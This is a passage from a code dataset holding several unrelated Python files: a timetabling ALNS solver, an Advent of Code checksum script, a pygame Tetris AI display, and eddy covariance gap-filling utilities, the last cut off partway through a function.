accept = SA.accept_new_solution(temp_cost, current_cost, remaining_iterations)\n\n                score_w1 = 0\n                score_w2 = 0\n                score_w3 = 0\n\n                if accept:\n\n                    if len(Uc) > 0:\n                        unassigned_lectures_cost = min(unassigned_lectures_cost * parameters.adjust_unscheduled_cost,\n                                                       float(self.instance_data.max_cost))\n                    else:\n                        unassigned_lectures_cost = max(float(1), unassigned_lectures_cost / parameters.adjust_unscheduled_cost)\n\n                    statistics.accepted_count += 1\n                    # print(\"New solution accepted.\")\n                    if temp_cost > current_cost: # worse than current solution\n                        # print(\"New solution is worse than the current solution.\")\n                        statistics.worse_count += 1\n                        score_w3 = parameters.w3\n                    else: # better than current solution\n                        # print(\"New solution is better than the current solution.\")\n                        statistics.better_count += 1\n                        score_w2 = parameters.w2\n\n                    solution = new_sol\n                    current_cost = temp_cost\n                # else:\n                #     # print(\"New solution NOT accepted.\")\n\n                if (global_best_has_uc or new_cost < global_best_cost) and len(Uc) == 0:\n                    global_best_has_uc = False\n                    # print(\"New solution is the global best.\")\n                    statistics.global_best_counts += 1\n                    statistics.iteration_best = iteration\n                    statistics.time_best = time.time() - time_start\n                    global_best = new_sol\n                    global_best_cost = new_cost\n                    score_w1 = parameters.w1\n\n                if no_best_found_count >= parameters.reheat_limit and iteration < parameters.iteration_limit:\n                    SA.reheat(new_cost)\n                    no_best_found_count = 0\n                    statistics.reheats_count += 1\n                    iterations_since_reheat = 0\n                    ref_iter_limit = remaining_iterations\n                else:\n                    no_best_found_count += 1\n\n                if global_best_cost == 0:\n                    return global_best, global_best_cost\n                #\n                # print(\"Score W1: \", score_w1)\n                # print(\"Score W2: \", score_w3)\n                # print(\"Score W3: \", score_w3)\n\n                psi = max(score_w1, score_w2, score_w3)\n                # print(\"PSI: \", psi)\n                lambda_param = 0.8\n\n                # recalculate weights of  operators based on the accepted solution\n                operators_lookup.removal_operators_weights[str(removal_operator_index)] = lambda_param * operators_lookup.removal_operators_weights[str(removal_operator_index)] + (1-lambda_param) * psi\n                operators_lookup.repair_operators_weights[str(repair_operator_index)] = lambda_param * operators_lookup.repair_operators_weights[str(repair_operator_index)] + (1-lambda_param) * psi\n\n                # we need to recalculate weights only if two-stage operation was performed\n                # if GA was performed it means that the below operators weren't used, hence didn't have impact in the result\n                # consequently we won't update the weights in this iteration\n                if repair_operator_index == 0:\n                    operators_lookup.lecture_period_operators_weights[str(lecture_period_operator_index)] = lambda_param * operators_lookup.lecture_period_operators_weights[str(lecture_period_operator_index)] + (1-lambda_param) * psi\n                    operators_lookup.lecture_room_operators_weights[str(lecture_room_operator_index)] = lambda_param * operators_lookup.lecture_room_operators_weights[str(lecture_room_operator_index)] + (1-lambda_param) * psi\n                    operators_lookup.priority_rules_weights[str(priority_rule_index)] = lambda_param * operators_lookup.priority_rules_weights[str(priority_rule_index)] + (1-lambda_param) * psi\n\n        # print('===============================\\n')\n        # print(\"Best solution cost: \", global_best_cost)\n        # print('===============================\\n')\n\n        statistics.time = time.time() - time_start\n\n        statistics_instance.print_statistics()\n        return global_best, global_best_cost\n    \n    def neighbor(self, solution, destroy_limit,\n                 removal_operator_index, repair_operator_index, lecture_period_operator_index, lecture_room_operator_index, priority_rule_index,\n                 courses_penalties, curricula_penalties, Uc):\n\n        # print(\"Destroy Limit: \", destroy_limit)\n        lectures_to_remove = random.randint(1, destroy_limit)\n        # print(\"Lectures to remove number: \", lectures_to_remove)\n\n        # different destroy operators expect different input parameters\n        # we are handling it accordingly below\n        if removal_operator_index == 0:\n            schedule, lectures_removed = operators_lookup.removal_operators[removal_operator_index](solution, lectures_to_remove, self.instance_data, courses_penalties)\n        elif removal_operator_index == 1:\n            schedule, lectures_removed = operators_lookup.removal_operators[removal_operator_index](solution, lectures_to_remove, self.instance_data, curricula_penalties)\n        else:\n            schedule, lectures_removed = operators_lookup.removal_operators[removal_operator_index](solution, lectures_to_remove, self.instance_data)\n\n        # append lectured left unscheduled from prev row\n        for l in Uc:\n            lectures_removed.append(l)\n\n        # repair_operator_index = 0\n        # lecture_period_operator_index = 0\n        # lecture_room_operator_index = 0\n        # priority_rule_index = 0\n        if repair_operator_index == 0:\n            schedule, Uc = operators_lookup.repair_operators[repair_operator_index](schedule, self.instance_data, lectures_removed,\n                                                                                operators_lookup.lecture_period_operators[lecture_period_operator_index],\n                                                                                operators_lookup.lecture_room_operators[lecture_room_operator_index],\n                                                                                operators_lookup.priority_rules[priority_rule_index])\n        elif repair_operator_index == 1:\n            schedule = operators_lookup.repair_operators[repair_operator_index](schedule, self.instance_data, lectures_removed)\n\n        return schedule, Uc\n    \n    def execute(self):\n        Uc = []\n\n        print(\"START \" + configs.instance_name)\n        time_start = time.time()\n        # Generate initial solution\n        initial_solution_instance = initial_solution(self.instance_data)\n        init_sol, Uc = initial_solution_instance.generate_solution()\n\n        if statistics.time_feasible == 0 and len(Uc) == 0:\n            statistics.iteration_feasible = -1\n            statistics.time_feasible = time.time() - time_start\n\n        schedule, cost = self.find_optimal_solution(init_sol, Uc)\n\n        rows = []\n\n        for i in range(self.instance_data.days):\n            for j in range(self.instance_data.periods_per_day):\n                for k in range(self.instance_data.rooms_count):\n                    if schedule[i][j][k] != -1:\n                        row = self.instance_data.courses_ids[schedule[i][j][k]] + \" \" + self.instance_data.rooms[\n                            k].id + \" \" + str(i) + \" \" + str(\n                            j) + '\\n'\n                        rows.append(row)\n\n        # write formatted input to a file to be used by the next process (max-SAT)\n        partial_temp_filename = 'C:/Users/vlere/qq/sol' + configs.instance_name + str(uuid.uuid4())\n\n        with open(partial_temp_filename, 'w+') as f:\n            for row in rows:\n                f.write(row)\n\n        print(\"DONE \" + configs.instance_name)\n        return schedule, cost\n","repo_name":"qhyseni/CB-CTT","sub_path":"_alns.py","file_name":"_alns.py","file_ext":"py","file_size_in_byte":16508,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"72717773223","text":"\ndef compute_checksum(input: list):\n\n    two_times: int = 0\n    three_times: int = 0\n\n    for item in input:\n        counter = {}\n        for letter in item:\n            if letter not in counter:\n                counter[letter] = 1\n            else:\n                counter[letter] += 1\n        if 2 in counter.values():\n            two_times += 1\n        if 3 in counter.values():\n            three_times += 1\n\n    checksum: int = two_times * three_times\n    return checksum\n\n\nchecklist = [\n    'abcdef',\n    'bababc',\n    'abbcde',\n    'abcccd',\n    'aabcdd',\n    'abcdee',\n    'ababab',\n]\nassert compute_checksum(checklist) == 12\n\nboxes = []\nwith open('input2.txt') as f:\n    for line in f:\n        boxes.append(line)\n\nprint(compute_checksum(boxes))\n\n","repo_name":"jmfuch02/advent2018","sub_path":"advent2-1.py","file_name":"advent2-1.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"12418178745","text":"import pygame as pyg\r\nimport numpy as np\r\nimport os\r\n\r\nfrom AI import simulation\r\nfrom Game import tetris as tet\r\n\r\n\r\ndef activate_scene():\r\n    pyg.font.init()\r\n\r\n    current_simulation = simulation.Simulation(\r\n        gen_size=22,\r\n        n_allowed_to_reproduce=5,\r\n        single_reproductions=2,\r\n        max_mutation=1,\r\n        mutation_chance=20,\r\n    )\r\n\r\n    GRID_THICKNESS = 2\r\n    SQUARE_SIZE = 40\r\n\r\n    X_SQUARES = 10\r\n    Y_SQUARES = 20\r\n\r\n    NON_GRID_WIDTH_LEFT = 400\r\n    NON_GRID_WIDTH_RIGHT = 500\r\n\r\n    WIDTH, HEIGHT = X_SQUARES * SQUARE_SIZE + GRID_THICKNESS * (\r\n        X_SQUARES - 1\r\n    ) + NON_GRID_WIDTH_LEFT + NON_GRID_WIDTH_RIGHT, Y_SQUARES * SQUARE_SIZE + GRID_THICKNESS * (\r\n        Y_SQUARES - 1\r\n    )\r\n\r\n    RIGHT_AREA_OFFSET = WIDTH - NON_GRID_WIDTH_RIGHT\r\n\r\n    WIN = pyg.display.set_mode((WIDTH, HEIGHT))\r\n    pyg.display.set_caption(\"Tetrisonator-10000\")\r\n\r\n    icon = pyg.image.load(os.path.join(\"./assets\", \"Tetris_Logo.png\"))\r\n    pyg.display.set_icon(icon)\r\n\r\n    # neuron_image = pyg.image.load(os.path.join('assets', \"neuron.png\"))\r\n    # neuron_image = neuron_image\r\n\r\n    grid_surf_vert = pyg.Surface((GRID_THICKNESS, HEIGHT))\r\n    grid_surf_horiz = pyg.Surface(\r\n        (WIDTH - NON_GRID_WIDTH_LEFT - NON_GRID_WIDTH_RIGHT + 2, GRID_THICKNESS)\r\n    )\r\n\r\n    grid_surf_vert.fill((50, 50, 50))\r\n    grid_surf_horiz.fill((50, 50, 50))\r\n\r\n    tetromino_surf = pyg.Surface((SQUARE_SIZE, SQUARE_SIZE))\r\n    ghost_sprite = pyg.image.load(os.path.join(\"./assets\", \"ghost_square.png\"))\r\n\r\n    colour_by_tetromino_code = {\r\n        1: (0, 255, 255),\r\n        2: (0, 25, 200),\r\n        3: (255, 170, 0),\r\n        4: (255, 255, 0),\r\n        5: (0, 255, 0),\r\n        6: (125, 0, 125),\r\n        7: (255, 0, 0),\r\n    }\r\n\r\n    FONT_SIZE = 50\r\n    text_font = pyg.font.SysFont(\"monospace\", FONT_SIZE)\r\n\r\n    HOLD_LOCATION = 80\r\n\r\n    NEXT_LOCATION = HOLD_LOCATION + 200\r\n    LEVEL_LOCATION = NEXT_LOCATION + 250\r\n    LINES_LOCATION = LEVEL_LOCATION + 150\r\n\r\n    GENERATION_LOCATION = 0\r\n    NETWORK_LOCATION = GENERATION_LOCATION + 275\r\n\r\n    FPS = 720\r\n\r\n    piece_distances = {\r\n        1: (NON_GRID_WIDTH_LEFT - (4 * (SQUARE_SIZE + GRID_THICKNESS))) / 2,\r\n        2: (NON_GRID_WIDTH_LEFT - (3 * (SQUARE_SIZE + GRID_THICKNESS))) / 2,\r\n        3: (NON_GRID_WIDTH_LEFT - (3 * (SQUARE_SIZE + GRID_THICKNESS))) / 2,\r\n        4: (NON_GRID_WIDTH_LEFT - (2 * (SQUARE_SIZE + GRID_THICKNESS))) / 2,\r\n        5: (NON_GRID_WIDTH_LEFT - (3 * (SQUARE_SIZE + GRID_THICKNESS))) / 2,\r\n        6: (NON_GRID_WIDTH_LEFT - (3 * (SQUARE_SIZE + GRID_THICKNESS))) / 2,\r\n        7: (NON_GRID_WIDTH_LEFT - (3 * (SQUARE_SIZE + GRID_THICKNESS))) / 2,\r\n    }\r\n\r\n    RED_TUPLE = (255, 60, 60)\r\n\r\n    def draw_window(\r\n        grid_lines_vert: list[pyg.Rect],\r\n        grid_lines_horiz: list[pyg.Rect],\r\n        board: tet.TetrisBoard,\r\n        _simulation: simulation.Simulation,\r\n    ):\r\n        # Blitting the ghost\r\n        WIN.fill((0, 0, 0))\r\n        for coord in board.active_piece.ghost.occupying_squares:\r\n            WIN.blit(\r\n                ghost_sprite,\r\n                coord * SQUARE_SIZE\r\n                + coord * GRID_THICKNESS\r\n                + np.array([NON_GRID_WIDTH_LEFT + GRID_THICKNESS, 0]),\r\n            )\r\n\r\n        pieces_to_blit = board.all_pieces\r\n        # Blitting all pieces\r\n        for piece in pieces_to_blit:\r\n            for coord in piece.occupying_squares:\r\n                tetromino_surf.fill(colour_by_tetromino_code.get(piece.tetromino_code))\r\n                WIN.blit(\r\n                    tetromino_surf,\r\n                    coord * SQUARE_SIZE\r\n                    + coord * GRID_THICKNESS\r\n                    + np.array([NON_GRID_WIDTH_LEFT + GRID_THICKNESS, 0]),\r\n                )\r\n\r\n        # Blitting the grid\r\n        for grid_line in grid_lines_vert:\r\n            WIN.blit(grid_surf_vert, (grid_line.x, grid_line.y))\r\n        for grid_line in grid_lines_horiz:\r\n            WIN.blit(grid_surf_horiz, (grid_line.x, grid_line.y))\r\n\r\n        # BLitting the \"hold\" text\r\n        hold_text_image = text_font.render(\"Hold\", True, (255, 255, 255))\r\n        WIN.blit(\r\n            hold_text_image,\r\n            ((NON_GRID_WIDTH_LEFT - hold_text_image.get_width()) / 2, HOLD_LOCATION),\r\n        )\r\n\r\n        # Blitting the held piece\r\n        hold_piece = board.hold\r\n        if hold_piece is not None:\r\n            relative_coords = np.array(np.nonzero(a=hold_piece.base_rotation_grid)).T\r\n\r\n            hold_piece_min_distance_from_left = piece_distances.get(\r\n                hold_piece.tetromino_code\r\n            )\r\n\r\n            tetromino_surf.fill(colour_by_tetromino_code.get(hold_piece.tetromino_code))\r\n            for coord in relative_coords:\r\n                WIN.blit(\r\n                    tetromino_surf,\r\n                    coord * (SQUARE_SIZE + GRID_THICKNESS)\r\n                    + np.array([hold_piece_min_distance_from_left, HOLD_LOCATION + 80]),\r\n                )\r\n\r\n        # Blitting the \"Next\" text\r\n        hold_text_image = text_font.render(\"Next\", True, (255, 255, 255))\r\n        WIN.blit(\r\n            hold_text_image,\r\n            ((NON_GRID_WIDTH_LEFT - hold_text_image.get_width()) / 2, NEXT_LOCATION),\r\n        )\r\n\r\n        # Blitting the next piece\r\n        next_piece = board.next\r\n        relative_coords = np.array(np.nonzero(a=next_piece.base_rotation_grid)).T\r\n\r\n        next_piece_min_distance_from_left = piece_distances.get(\r\n            next_piece.tetromino_code\r\n        )\r\n\r\n        tetromino_surf.fill(colour_by_tetromino_code.get(next_piece.tetromino_code))\r\n        for coord in relative_coords:\r\n            WIN.blit(\r\n                tetromino_surf,\r\n                coord * (SQUARE_SIZE + GRID_THICKNESS)\r\n                + np.array([next_piece_min_distance_from_left, NEXT_LOCATION + 80]),\r\n            )\r\n\r\n        # Blitting the score\r\n        score_image = text_font.render(f\"{board.score}\", True, (255, 255, 255))\r\n        WIN.blit(score_image, ((NON_GRID_WIDTH_LEFT - score_image.get_width()) / 2, 0))\r\n\r\n        # BLitting the level\r\n        level_text_image = text_font.render(\"level\", True, (255, 255, 255))\r\n        WIN.blit(\r\n            level_text_image,\r\n            ((NON_GRID_WIDTH_LEFT - level_text_image.get_width()) / 2, LEVEL_LOCATION),\r\n        )\r\n\r\n        level_image = text_font.render(f\"{board.level}\", True, (255, 255, 255))\r\n        WIN.blit(\r\n            level_image,\r\n            ((NON_GRID_WIDTH_LEFT - level_image.get_width()) / 2, LEVEL_LOCATION + 50),\r\n        )\r\n\r\n        # Blitting the line count\r\n        lines_text_image = text_font.render(\"lines\", True, (255, 255, 255))\r\n        WIN.blit(\r\n            lines_text_image,\r\n            ((NON_GRID_WIDTH_LEFT - lines_text_image.get_width()) / 2, LINES_LOCATION),\r\n        )\r\n\r\n        lines_count_image = text_font.render(\r\n            f\"{board.lines_on_level + (board.level - 1) * 10}\", True, (255, 255, 255)\r\n        )\r\n        WIN.blit(\r\n            lines_count_image,\r\n            (\r\n                (NON_GRID_WIDTH_LEFT - lines_count_image.get_width()) / 2,\r\n                LINES_LOCATION + 50,\r\n            ),\r\n        )\r\n\r\n        # Blitting the generation and unit\r\n        generation_text_image = text_font.render(\"generation\", True, (255, 255, 255))\r\n        WIN.blit(\r\n            generation_text_image,\r\n            (\r\n                RIGHT_AREA_OFFSET\r\n                + (NON_GRID_WIDTH_RIGHT - generation_text_image.get_width()) / 2,\r\n                GENERATION_LOCATION,\r\n            ),\r\n        )\r\n\r\n        generation_image = text_font.render(\r\n            f\"{_simulation.generation + 1}\", True, (255, 255, 255)\r\n        )\r\n        WIN.blit(\r\n            generation_image,\r\n            (\r\n                RIGHT_AREA_OFFSET\r\n                + (NON_GRID_WIDTH_RIGHT - generation_image.get_width()) / 2,\r\n                GENERATION_LOCATION + 50,\r\n            ),\r\n        )\r\n\r\n        unit_text_image = text_font.render(\"Player\", True, (255, 255, 255))\r\n        WIN.blit(\r\n            unit_text_image,\r\n            (\r\n                RIGHT_AREA_OFFSET\r\n                + (NON_GRID_WIDTH_RIGHT - unit_text_image.get_width()) / 2,\r\n                GENERATION_LOCATION + 100,\r\n            ),\r\n        )\r\n\r\n        unit_image = text_font.render(\r\n            f\"{_simulation.tetting_index + 1}\", True, (255, 255, 255)\r\n        )\r\n        WIN.blit(\r\n            unit_image,\r\n            (\r\n                RIGHT_AREA_OFFSET + (NON_GRID_WIDTH_RIGHT - unit_image.get_width()) / 2,\r\n                GENERATION_LOCATION + 150,\r\n            ),\r\n        )\r\n\r\n        # Blitting the neural network\r\n        # blit_network(brain=simulation.active_tetting.brain)\r\n\r\n        pyg.display.update()\r\n\r\n    clock = pyg.time.Clock()\r\n    run = True\r\n\r\n    grid_rects_vert = [\r\n        pyg.Rect(x, 0, GRID_THICKNESS, HEIGHT)\r\n        for x in range(\r\n            NON_GRID_WIDTH_LEFT,\r\n            WIDTH - NON_GRID_WIDTH_RIGHT + 3,\r\n            SQUARE_SIZE + GRID_THICKNESS,\r\n        )\r\n    ]\r\n    grid_rects_horiz = [\r\n        pyg.Rect(NON_GRID_WIDTH_LEFT, y, WIDTH, GRID_THICKNESS)\r\n        for y in range(SQUARE_SIZE, HEIGHT, SQUARE_SIZE + GRID_THICKNESS)\r\n    ]\r\n\r\n    tetris_board = current_simulation.active_tetting.board\r\n    current_simulation.next_piece()\r\n    t = 1\r\n\r\n    while run:\r\n        clock.tick(FPS)\r\n\r\n        for event in pyg.event.get():\r\n            if event.type == pyg.QUIT:\r\n                run = False\r\n\r\n        current_simulation.update()\r\n\r\n        if current_simulation.dead_tetting_flag:\r\n            tetris_board = current_simulation.active_tetting.board\r\n\r\n        draw_window(\r\n            grid_lines_vert=grid_rects_vert,\r\n            grid_lines_horiz=grid_rects_horiz,\r\n            board=tetris_board,\r\n            _simulation=current_simulation,\r\n        )\r\n\r\n        t += 1\r\n\r\n    pyg.quit()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    activate_scene()\r\n","repo_name":"etgoldd/TetrisAI","sub_path":"simulation_scene.py","file_name":"simulation_scene.py","file_ext":"py","file_size_in_byte":9868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"34652981684","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: Antje M. Lucas-Moffat\nLucas-Moffat et al., 2022, \"Multiple gap-filling for eddy covariance datasets\", AgrForMet.\nPlease cite the paper if using this code.\n\nFor a package description:\n    See mgf/__init__.py\n    \nFunctions:\n    # gen_index():   Generate index to select data subset from timestamp index\n    # def_LUTs():    Define dataframe with look-up tables (LUTs)\n    # def_LUT_MDS(): Same as def_LUT() but for MDS only\n    # fill_LUT():    Function to fill gaps with LUT\n    # calc_IPs():    Calculate interpolation of gaps, two techniques implemented\n\nNote:\n    Diurnal interpolation techniques (WDM, FDA, MDA, MDC) are programmed the same way as look-up tables (LUTs).\n\n\"\"\"\n#%% Initialization\n### Imports from python\nimport numpy as np\nimport pandas as pd\n\n### Own imports\nimport mgf\n\n### Options\npd.options.display.max_rows = 20\n \n#%% Function for index generator\n\ndef gen_index(t_index, win_days, win_hhs, scenario='none'):\n    # gen_index():      Generate index to select data subset from timestamp index\n    # t_index:          Time index with time stamp at end of half-hour\n    # win_hhs:          Window of ± half-hour blocks at same time of day \n    #                   Option win_hhs=-1 for full days\n    #                   Option win_hhs=-6 for 3h-periods\n    # win_days:         Window of ± adjacent days\n    # scenario:         'none' - do nothing (i.e. all half-hours in wanted range)\n    #                   'hhs' - wanted index but drop current half-hour (i.e. set to gap)\n    #                   'days' - wanted indext but drop half-hours from current day (i.e. set full day to gap) \n    # Generator takes into account that flux data is right closed at the end of half-hour\n    #\n    # FOR TESTING: t_index=data.index[i_g]; win_hhs=5; win_days=0; scenario='hhs'\n    \n    index = []\n    # Correct time stamp to middle of half-hour to avoid switch of periods/days\n    t_index_cor = t_index - pd.DateOffset(hours=0.25)\n    \n    if win_hhs == -1: #Full days\n        #Add preceding days\n        start = t_index_cor - pd.DateOffset(days=win_days)\n        #Add succeeding days\n        end = t_index_cor + pd.DateOffset(days=win_days)\n        index = pd.date_range(start=start.strftime('%Y-%m-%d 00:15:00'), end=end.strftime('%Y-%m-%d 23:45:00'), freq='30min')\n        \n    elif win_hhs == -6: #3h-periods\n        jjj = pd.DataFrame(index=[t_index_cor],columns=[0]).resample('180min').asfreq()\n        index_3h_start = jjj.index[0] + pd.DateOffset(hours=0.25) #Needs also correction\n        index = pd.period_range(index_3h_start, periods=6, freq='30min').to_timestamp()\n        index_3h = index\n        for i_d in range(1,win_days+1):\n            #Add preceding days\n            index = index.append(index_3h - pd.DateOffset(days=i_d))\n            index = index.append(index_3h + pd.DateOffset(days=i_d))\n\n    else: # Half-hour blocks\n        #Same day\n        index.append(t_index_cor)\n        for i_hh in range(1,win_hhs+1):\n            index.append(t_index_cor-pd.DateOffset(hours=i_hh*0.5))\n            index.append(t_index_cor+pd.DateOffset(hours=i_hh*0.5))\n        #Multiple days\n        for i_d in range(1,win_days+1):\n            #Add preceding days\n            ts_index=t_index_cor-pd.DateOffset(days=i_d)\n            index.append(ts_index)\n            for i_hh in range(1,win_hhs+1):\n                index.append(ts_index-pd.DateOffset(hours=i_hh*0.5))\n                index.append(ts_index+pd.DateOffset(hours=i_hh*0.5))\n            #Add succeeding days\n            ta_index=t_index_cor+pd.DateOffset(days=i_d)\n            index.append(ta_index)\n            for i_hh in range(1,win_hhs+1):\n                index.append(ta_index-pd.DateOffset(hours=i_hh*0.5))\n                index.append(ta_index+pd.DateOffset(hours=i_hh*0.5))\n                \n    # Attention: Mix of DatetimeIndex and Timestamp\n    # Sort index and make sure it is DatetimeIndex (and not Timestamp)\n    # For win_hhs > 23, unique() removes duplicates from index          \n    index = pd.to_datetime(index).sort_values().unique() \n        \n    if scenario == 'hhs':\n        #Drop current half-hour\n        index = index.drop(t_index_cor) #append() inplace but drop() not inplace?!\n    elif scenario == 'days':\n        #Drop current day\n        t_start=t_index_cor.strftime('%Y-%m-%d 00:15:00')\n        t_end=t_index_cor.strftime('%Y-%m-%d 23:45:00')\n        index= index.drop(pd.date_range(t_start, t_end, freq='30min'), errors='ignore') #ignore since not all indices (of full day) might have been included\n\n    # Correct time stamp back to end of half hour\n    index = index + pd.DateOffset(hours=0.25) \n    return index #DatetimeIndex object\n\n\n\"\"\"\n#TESTING\n    i_g=64; data.index[i_g]\n    gen_index(data.index[i_g], win_days=0, win_hhs=2, scenario='days')\n    gen_index(data.index[i_g], 1, 2, 'days')\n    gen_index(data.index[i_g], 0, 2, 'hhs')\n    gen_index(data.index[i_g], 0, 2, 'none')\n\"\"\"\n\n#%% Define LUT techniques including MDA, MDC, FDA, WDM\n\ndef def_LUTs(var_1='none', range_1=np.nan, var_2='none', range_2=np.nan, var_3='none', range_3=np.nan, var_light='none', var_thres=np.nan):\n    # def_LUTs():           Define dataframe with look-up tables (LUTs)\n    # var_1, range_1, ...:  Variable names and float ranges for LUT\n    # var_light, var_thres: Variable name and threshold for daylight / nighttime\n    #\n    # LUTs data frame:\n    # Technique:            Name of technique\n    # WinDayStart:          Window size of ± days to start with\n    # WinDayStep:           Number of days to increase window size\n    # WinHHs:               Number of half-hours to interpolate\n    # CondIFs:              if-conditions to look-up-table or to interpolate for others\n    #\n    # TESTING: var_1='none'; range_1=np.nan; var_2='none'; range_2=np.nan; var_3='none'; range_3=np.nan; var_light='none'; var_thres=np.nan\n    # TESTING: var_light='Rg'; var_thres=5\n\n    LUTs = pd.DataFrame(columns=[], index=['Technique','WinDayStart','WinDayStep','WinHHs','CondIFs'])\n    if (var_light != 'none') & np.isfinite(var_thres):\n        LUTs['WDM'] = ['WDM', 0, 1, -1, '((data.'+var_light+'[i_g] > '+str(var_thres)+') & (df_window.'+var_light+' > '+str(var_thres)+')) | '+\n            '((data.'+var_light+'[i_g] <= '+str(var_thres)+') & (df_window.'+var_light+' <= '+str(var_thres)+'))']\n    # For FDA, the data is weighted by data is weighted day/night for the whole win_days window and only per day for win_days=0\n    LUTs['FDA_hh6'] = ['FDA_hh6', 0, 1, -6, 'df_window.'+var_light+' != True'] #Dummy, but could be real condition\n    LUTs['MDA_hh5'] = ['MDA_hh5', 0, 1, 2, 'df_window.'+var_light+' != True'] #Dummy, but could be real condition\n    LUTs['MDC_d3'] = ['MDC_d3', 3, 3, 0, 'df_window.'+var_light+' != True'] #Dummy, but could be real condition\n    LUTs['MDC_d7'] = ['MDC_d7', 7, 7, 0, 'df_window.'+var_light+' != True'] #Dummy, but could be real condition\n    if (var_1 != 'none') & np.isfinite(range_1):\n        LUTs['LUT_V1_d3'] = ['LUT_V1_d3', 3, 3, -1, '(abs(df_window.'+var_1+' - data.'+var_1+'[i_g]) <= '+str(range_1)+')']\n        LUTs['LUT_V1_d7'] = ['LUT_V1_d7', 7, 7, -1, '(abs(df_window.'+var_1+' - data.'+var_1+'[i_g]) <= '+str(range_1)+') ']\n        if (var_2 != 'none') & np.isfinite(range_2) :\n            LUTs['LUT_V1V2_d3'] = ['LUT_V1V2_d3', 3, 3, -1, '(abs(df_window.'+var_1+' - data.'+var_1+'[i_g]) <= '+str(range_1)+') & '+\n               '(abs(df_window.'+var_2+' - data.'+var_2+'[i_g]) <= '+str(range_2)+')']\n            LUTs['LUT_V1V2_d7'] = ['LUT_V1V2_d7', 7, 7, -1, '(abs(df_window.'+var_1+' - data.'+var_1+'[i_g]) <= '+str(range_1)+') & '+\n                   '(abs(df_window.'+var_2+' - data.'+var_2+'[i_g]) <= '+str(range_2)+')']\n            if (var_3 != 'none') & np.isfinite(range_3):\n                LUTs['LUT_V1V2V3_d3'] = ['LUT_V1V2V3_d3', 3, 3, -1, '(abs(df_window.'+var_1+'- data.'+var_1+'[i_g]) <= '+str(range_1)+') & '+\n                       '(abs(df_window.'+var_2+' - data.'+var_2+'[i_g]) <= '+str(range_2)+') & '+\n                       '(abs(df_window.'+var_3+' - data.'+var_3+'[i_g]) <= '+str(range_3)+')']\n                LUTs['LUT_V1V2V3_d7'] = ['LUT_V1V2V3_d7', 7, 7, -1, '(abs(df_window.'+var_1+' - data.'+var_1+'[i_g]) <= '+str(range_1)+') & '+\n                       '(abs(df_window.'+var_2+' - data.'+var_2+'[i_g]) <= '+str(range_2)+') & '+\n                       '(abs(df_window.'+var_3+' - data.'+var_3+'[i_g]) <= '+str(range_3)+')']\n    return LUTs\n\ndef def_LUT_MDS(var_1='none', range_1=np.nan, var_2='none', range_2=np.nan, var_3='none', range_3=np.nan):\n    # def_LUT_MDS():    Same as above but for defining MDS LUT setup only\n    \n    LUTs = pd.DataFrame(columns=[], index=['Technique','WinDayStart','WinDayStep','WinHHs','CondIFs'])\n    if (var_1 != 'none') & np.isfinite(range_1) & (var_2 != 'none') & np.isfinite(range_2) & (var_3 != 'none') & np.isfinite(range_3):\n        LUTs['LUT_MDS_d7'] = ['LUT_MDS_d7', 7, 7, -1, '(abs(df_window.'+var_1+' - data.'+var_1+'[i_g]) <= '+str(range_1)+') & '+\n                           '(abs(df_window.'+var_2+' - data.'+var_2+'[i_g]) <= '+str(range_2)+') & '+\n                           '(abs(df_window.'+var_3+' - data.'+var_3+'[i_g]) <= '+str(range_3)+')']\n    elif (var_1 != 'none') & np.isfinite(range_1) & (var_2 != 'none') & np.isfinite(range_2) & (var_3 == 'none'): #If 3rd variable (VPD) is missing as in NH3 dataset\n        LUTs['LUT_MDS_d7'] = ['LUT_MDS_d7', 7, 7, -1, '(abs(df_window.'+var_1+' - data.'+var_1+'[i_g]) <= '+str(range_1)+') & '+\n                           '(abs(df_window.'+var_2+' - data.'+var_2+'[i_g]) <= '+str(range_2)+')']\n    return LUTs\n\ndef fill_LUT(data, flux_org, methLUT, scenario):\n    # fill_LUT():       Function to fill gaps with LUT techniques\n    # data:             Dataframe with timestamp index, flux measurements, and maybe meteo\n    # flux_org:         Data column with original measured fluxes to be filled/used and rest set to nan\n    # methLUT:          Gap filling technique as defined in the dataframe 'LUTs' above\n    # scenario:         Scenario for gap filling ('hhs', 'days', or 'none', see also gen_index())\n    #\n    # TESTING: data=data_co2; ini=co2.Settings; flux_org = gen_fcol(data,ini); methLUT=LUTs['WDM']; scenario='hhs'\n    \n    flux_fm = methLUT.Technique +'_'+ scenario #Flux filled with fill-technique\n    print('>>> Fill technique:', flux_fm, '   (', methLUT.CondIFs,')')\n    \n    # Write gap filled values into new column\n    data[flux_fm] = np.nan \n    win_days = methLUT.WinDayStart\n    num_gaps = data[flux_fm].isnull().sum()\n    num_gaps_org = data[flux_fm].isnull().sum()\n    while num_gaps > 0:\n        check_gaps = data[flux_fm].isnull()\n        array_gaps = np.array(range(0,data.shape[0]))[np.array(check_gaps)]\n        # Calculate LUT value\n        #print('>', win_days, check_gaps.sum())\n        for i_g in array_gaps:\n        #TESTING: for i_g in array_gaps[0:5]:\n            df_window = data[data.index.isin(gen_index(data.index[i_g], win_days=win_days, win_hhs=methLUT.WinHHs, scenario=scenario))]\n            #--> Much faster to first reduce dataset to window BEFORE compound-if-query\n            lut_entries = eval(methLUT.CondIFs)\n            if (lut_entries.sum() >= 2): #if more than two flux values available (after MR only, difference to EF algorithm)\n                data[flux_fm].iat[i_g] = np.mean(df_window[flux_org][lut_entries])\n\n        # Increase window of days and break if too large        \n        #Print remaining gaps for comparison with full MDS algorithm\n        num_gaps =  data[flux_fm].isnull().sum()\n        if (methLUT.Technique == 'LUT_MDS_d7'):\n           print('>LUT_MDS: window size:', win_days, ', remaining gaps:', num_gaps, ' of', num_gaps_org,', in percent: ', '{:04.2f}'.format(num_gaps/num_gaps_org*100))\n\n        win_days = win_days + methLUT.WinDayStep\n        tot_days = int(data.shape[0] / 48.0)\n        if (win_days > 0.5 * tot_days) & (num_gaps > 0):\n           print('>! ', num_gaps, 'remaining gaps. Break since window size: ', win_days, ' is larger than half of total days: ', 0.5*tot_days, '.)')\n           break\n\n #%% Define interpolation techniques\n    \ndef calc_IPs(data, flux_org, technique, scenario):\n    # calc_IPs():    